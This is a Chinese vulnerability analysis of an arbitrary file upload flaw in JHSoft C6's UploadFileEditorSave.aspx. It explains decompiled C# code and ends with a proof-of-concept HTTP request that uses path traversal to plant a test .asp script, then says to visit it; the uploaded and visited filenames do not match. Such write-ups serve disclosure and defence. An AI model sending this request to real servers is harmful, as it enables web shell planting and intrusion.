xhys121zero2025-10-27文章来源:SecHub网络安全社区
使用ctrl+shift+k进入全局搜索页面,搜索UploadFileEditorSave

进入到JHSoft.Web.CustomQuery.UploadFileEditorSave中

分析:
protected void Page_Load(object sender, EventArgs e)
{
//获取前端传入的filename参数的值,赋值给text
string text = base.Request["filename"].ToString();
//获取filename的路径
string text2 = Upload.MapFilePath(text);
//将text转为小写判断是否存在slaves的字符串
if (text.ToLower().IndexOf("slaves") == -1)
{//不能存在slaves的字符串
//判断文件是否已存在
if (File.Exists(text2))
{
//删除上传的文件
File.Delete(text2);
}
//调用 Upload.NoAESRead处理上传的文件流
Upload.NoAESRead(base.Request.Files[0].InputStream, ref text2);
}
else
{//存在slaves的字符串
//进行相关内容的替换
text2 = text2.ToLower().Replace("\\temp\\", "\\slaves\\");
//判断该文件是否已经存在
if (File.Exists(text2))
{
File.Delete(text2);
}
// Upload.AESRead 方法处理上传的文件流。
Upload.AESRead(base.Request.Files[0].InputStream, ref text2);
}
this.Context.Response.End();
上述代码只是获取到对应的filname,以及该文件的路径,通过该路径判断该文件是否已经存在,之后进行文件调用相关函数进行处理
接着对NoAESRead以及AESRead方法进行分析

**分析:**这两段代码内容几乎相同,唯一的区别就是在AESRead方法中中进行了一次AESncrypt加密操作,那么我们就分析一下AESRead方法
public static void AESRead(Stream stream, ref string strFile)
{
//根据stream内容的长度,创建一个数组
byte[] array = new byte[(int)stream.Length];
//读取 Stream 中的所有数据到 array 字节数组中。
stream.Read(array, 0, array.Length);
stream.Close();
//传入原始数据的字节数组,返回加密后的字节数组。
byte[] array2 = Upload.AESEncrypt(array);
//创建一个新的 FileStream 对象,用于写入数据到文件
FileStream fileStream = new FileStream(strFile, FileMode.CreateNew, FileAccess.Write);
//将加密后的字节数组 array2 写入到 fileStream 中。
fileStream.Write(array2, 0, array2.Length);
//关闭文件流
fileStream.Close();
}
上述两个方法在进行文件上传的操作过程中并没有对文件名以及文件的内容进行过滤,进而导致了任意文件上传漏洞的形成
poc
POST/C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\ilra9c2tw2.asp HTTP/1.1
Host:{{Hostname}}
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:109.0)Gecko/20100101Firefox/119.0
Content-Type:multipart/form-data;boundary=----umvtqrw8etdtcatpd8vq
------umvtqrw8etdtcatpd8vq
Content-Disposition:form-data;name="file";filename="ilra9c2tw2.jpg"
Content-Type:image/png
<%response.write(333*2)%>
------umvtqrw8etdtcatpd8vq--

然后访问
http://ip:port/C6/qps4cckjuz2.asp

漏洞存在